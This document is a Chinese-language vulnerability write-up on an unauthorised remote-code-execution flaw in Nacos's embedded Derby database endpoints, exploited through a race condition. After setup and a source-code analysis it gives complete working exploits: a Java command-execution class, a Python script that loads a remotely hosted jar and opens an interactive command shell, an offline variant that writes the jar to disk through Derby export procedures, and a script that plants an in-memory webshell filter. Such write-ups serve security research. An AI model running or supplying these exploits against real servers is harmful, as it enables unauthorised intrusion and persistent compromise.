0x01 简介
Nacos 是一个用于动态服务发现和配置以及服务管理的平台,Derby 是一个Java 类库的形式对外提供服务的数据库引擎。
0x02 漏洞概述
Nacos Derby数据库接口/nacos/v1/cs/ops/derby 和 /nacos/v1/cs/ops/data/removal 存在条件竞争漏洞,攻击者可借此接口执行恶意SQL,加载恶意jar并注册函数,在未授权条件下利用 derby sql 注入漏洞(CVE-2021-29442)调用恶意函数来执行恶意代码。
0x03 影响版本
nacos < 2.4.0
0x04 环境搭建
从官方网站下载安装包,运行命令安装Windows环境
复现环境使用的是Release 1.4.0 (Nov 2, 2020) · alibaba/nacos ,下载完成解压后进入\nacos\bin文件夹内,启动命令行
cd /d nacos的安装位置\nacos\bin
startup.cmd -m standalone即可启动nacos,访问http://127.0.0.1:8848/nacos/可以看到nacos已经正常启动,账号和密码都是nacos

0x05 漏洞浅析
该漏洞依赖于removal与derby俩个接口,下面对俩个接口进行详细介绍。
removal接口接收file参数,并且当数据库为derby且开启嵌入模式时,其会将接收到的file参数通过databaseOperate.dataImport(file)进行导入并按照SQL语句进行处理。
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}跟进dataImport方法,这段代码的大致意思是异步将file里的语句逐行提取出来,并按照一次最大1000条的标准进行异步执行。因此清晰的是,我们可以通过removal进行SQL语句执行,但是其唯一的问题在于没有返回数据。此外因为是异步读取的
public CompletableFuture<RestResult<String>> dataImport(File file) {
return CompletableFuture.supplyAsync(() -> {
try (DiskUtils.LineIterator iterator = DiskUtils.lineIterator(file)) {
int batchSize = 1000;
List<String> batchUpdate = new ArrayList<>(batchSize);
List<CompletableFuture<Void>> futures = new ArrayList<>();
List<Boolean> results = new CopyOnWriteArrayList<>();
while (iterator.hasNext()) {
String sql = iterator.next();
if (StringUtils.isNotBlank(sql)) {
batchUpdate.add(sql);
}
if (batchUpdate.size() == batchSize || !iterator.hasNext()) {
List<ModifyRequest> sqls = batchUpdate.stream().map(s -> {
ModifyRequest request = new ModifyRequest();
request.setSql(s);
return request;
}).collect(Collectors.toList());
futures.add(CompletableFuture.runAsync(() -> results.add(doDataImport(jdbcTemplate, sqls))));
batchUpdate.clear();
}
}
CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
int code = 500;
if (!CollectionUtils.isEmpty(results)) {
code = (!results.stream().anyMatch(Boolean.FALSE::equals)) ? 200 : 500;
}
return RestResult.<String>builder().withCode(code).withData("").build();
} catch (Throwable ex) {
LOGGER.error("An exception occurred when external data was imported into Derby : ", ex);
return RestResultUtils.failed(ex.getMessage());
}
});
}而该漏洞需要条件竞争的原因就在于WebUtils.onFileUpload会在获取返回值后执行finally删除上传的临时文件,而在刚刚的dataImport中的第二行return CompletableFuture.supplyAsync(() -> {…我们可以看到它是先返回,然后开一个异步任务读取文件。问题就在这,一旦删除文件快于异步任务读取文件,那么这个任务可能就读不到上传的file了,导致我们的攻击失败。在使用Docker环境复现时,这种情况更加明显,这也是我直接部署原生项目的原因。
public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
DeferredResult<RestResult<String>> response) {
if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
response.setResult(RestResultUtils.failed("File is empty"));
return;
}
File tmpFile = null;
try {
tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
multipartFile.transferTo(tmpFile);
consumer.accept(tmpFile);
} catch (Throwable ex) {
if (!response.isSetOrExpired()) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
}
} finally {
DiskUtils.deleteQuietly(tmpFile);
}
}再看/derby接口if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {if (!StringUtils.containsIgnoreCase(sql, limitSign)) { 这俩个if限制了执行的sql语句只能是以SELECT开头的,限制了我们执行任意的SQL语句,但仍有一定的自由度,并且该接口有返回数据。配合/removal加载恶意函数,再通过这个接口调用就能解决无回显的问题。
@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}0x06 漏洞复现
如果对方服务出网,最简单的方法就是通过removal接口加载我们部署在公网上的恶意包,再通过derby接口进行触发。
我们先编写一个恶意类Example,然后将其打包成jar包。打包步骤可以参考如何使用IDEA生成jar文件_idea怎么生成jar文件-CSDN博客。
package org.example;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
/* loaded from: Example.class */
public class Example {
public static void main(String[] args) {
String ret = exec("ipconfig");
System.out.println(ret);
}
public static String exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
String charset = "utf-8";
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows")) {
charset = "gbk";
}
Process p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis, charset);
BufferedReader br = new BufferedReader(isr);
while (true) {
String line = br.readLine();
if (line != null) {
bf.append(line);
} else {
return bf.toString();
}
}
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException e2) {
}
return "ERROR:" + writer.toString();
}
}
}然后再在jar所在文件夹下执行python3 -m http.server 8000,当然你也可以和我一样直接使用–directory指定目录。

现在访问你本地的8000端口http://127.0.0.1:8000/就可以看到你部署的jar包了

现在进行最简单的出网环境下的RCE,编辑一个Python脚本,内容如下(注意其中的jar文件访问路径需要根据你自己的情况调整)
import random, os
import requests
from urllib.parse import urljoin
import base64
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CALL sqlj.install_jar('http://127.0.0.1:8000/untitled.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
""".format(junk=os.urandom(3).hex(),id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)运行后效果如图,可以看到能够正常执行命令。如果你使用的是docker环境可能要多次尝试,条件竞争成功后就能执行命令了。

这段POC的关键部分在于post_sql和get_sql这俩个参数,下面对其原理进行简单解释。
post_sql = """
CALL sqlj.install_jar('http://127.0.0.1:8000/untitled.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
""".format(junk=os.urandom(3).hex(),id=now_id,jar_name=jar_name)
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)post_sql中的CALL sqlj.install_jar是用来加载我们远端部署的jar包,CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY就是将其加入derby的classpath。而CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'就是创建一个函数其接收VARCHAR返回VARCHAR并且类型是JAVA,不当做SQL执行,方法就是org.example.Example.exec。get_sql的内容就是调用我们之前构造函数并执行。
0x07 不出网利用
刚刚的出网RCE的原理也是相当的简洁,那么在不出网的情况下要如何利用呢?这就需要一个P牛找到的SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE方法,这个存储过程主要用于批量导出数据,特别是当数据中包含 BLOB(二进制大对象,如文件、图片)或 CLOB(字符大对象,如长文本)时,它提供了一种将“普通数据”与“大对象数据”分离存储的导出方式。脚本如下,其通过values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar 将字节码导出存储为jar包,从而实现了不出网加载恶意jar包。
import random, os
import requests
from urllib.parse import urljoin
import base64
with open(r'C:\Users\Dream_snow\Downloads\nacos-2.3.2\untitled\out\artifacts\untitled_jar\untitled.jar', 'rb') as f:
payload = f.read().hex().upper()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
""".format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)执行效果如下

既然可以不出网加载jar包,那么能不能注入内存马呢?当然可以!这里展示注入Filiter类型的内存马
import random, os
import requests
from urllib.parse import urljoin
import base64
import time
from datetime import datetime
with open(r'C:\Users\Dream_snow\Documents\JSONUtil.jar', 'rb') as f:
payload = f.read().hex().upper()
def exploit(target):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
for i in range(1, 10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CREATE TABLE FILE_STORAGE_{id} (id INTEGER PRIMARY KEY,file_data BLOB,file_name VARCHAR(255))
INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (1, CAST(X'{payload}' AS BLOB), '{jar_name}.jar')
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('SELECT file_data FROM FILE_STORAGE_{id} WHERE file_name = ''{jar_name}.jar'' ORDER BY id','/tmp/{junk}.del',null,null,'UTF-8','/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}(PARAM CHAR(32) FOR BIT DATA) RETURNS CHAR(32) FOR BIT DATA PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'ch.qos.logback.e.JSONUtil.gzipDecompress'
DROP TABLE FILE_STORAGE_{id}
""".format(junk=os.urandom(3).hex(), payload=payload, id=now_id, jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files)
#post_json = post_resp.json()
dump_response(post_resp, title=f"POST /data/removal try={i}", max_body=None)
time.sleep(1)
try:
post_json = post_resp.json()
except Exception as e:
print("[-] JSON parse failed:", repr(e))
time.sleep(0.5)
continue
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}(X'1F') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(
id=now_id, cmd=1)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.json())
return
def dump_response(resp, title="RESPONSE", max_body=None):
"""
打印 HTTP 响应包:状态行 + 响应头 + 响应体
max_body=None 表示完整打印;如果太长可以改成 2000
"""
version_map = {
10: "HTTP/1.0",
11: "HTTP/1.1",
20: "HTTP/2"
}
http_version = version_map.get(getattr(resp.raw, "version", 11), "HTTP/1.1")
print("\n" + "=" * 80)
print(f"[{title}] {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"{http_version} {resp.status_code} {resp.reason}")
for k, v in resp.headers.items():
print(f"{k}: {v}")
print()
body = resp.text
if max_body is not None and len(body) > max_body:
print(body[:max_body])
print(f"\n... body truncated, total length={len(body)} ...")
else:
print(body)
print("=" * 80 + "\n")
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)看到The exception 'java.util.zip.ZipException: Not in GZIP format' was thrown while evaluating an... 这部分代表注入成功了,后续你用对应的工具连接即可。



这个脚本还考虑了内存马大小过大的问题,因为一次写入的大小是有限制的。大小限制是16336个字节,所以需要通过多次写入。解决方法就是写入表中再按照序号顺序写入文件中,也是非常巧妙,只需要更改如下这部分即可。
INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (1, CAST(X'{payload1}' AS BLOB), '{jar_name}.jar')
INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (2, CAST(X'{payload2}' AS BLOB), '{jar_name}.jar')0x08 参考链接
从Nacos derby RCE学习derby数据库的利用-先知社区
Nacos RCE漏洞分析、复现及不出网利用姿势 | 长亭百川云
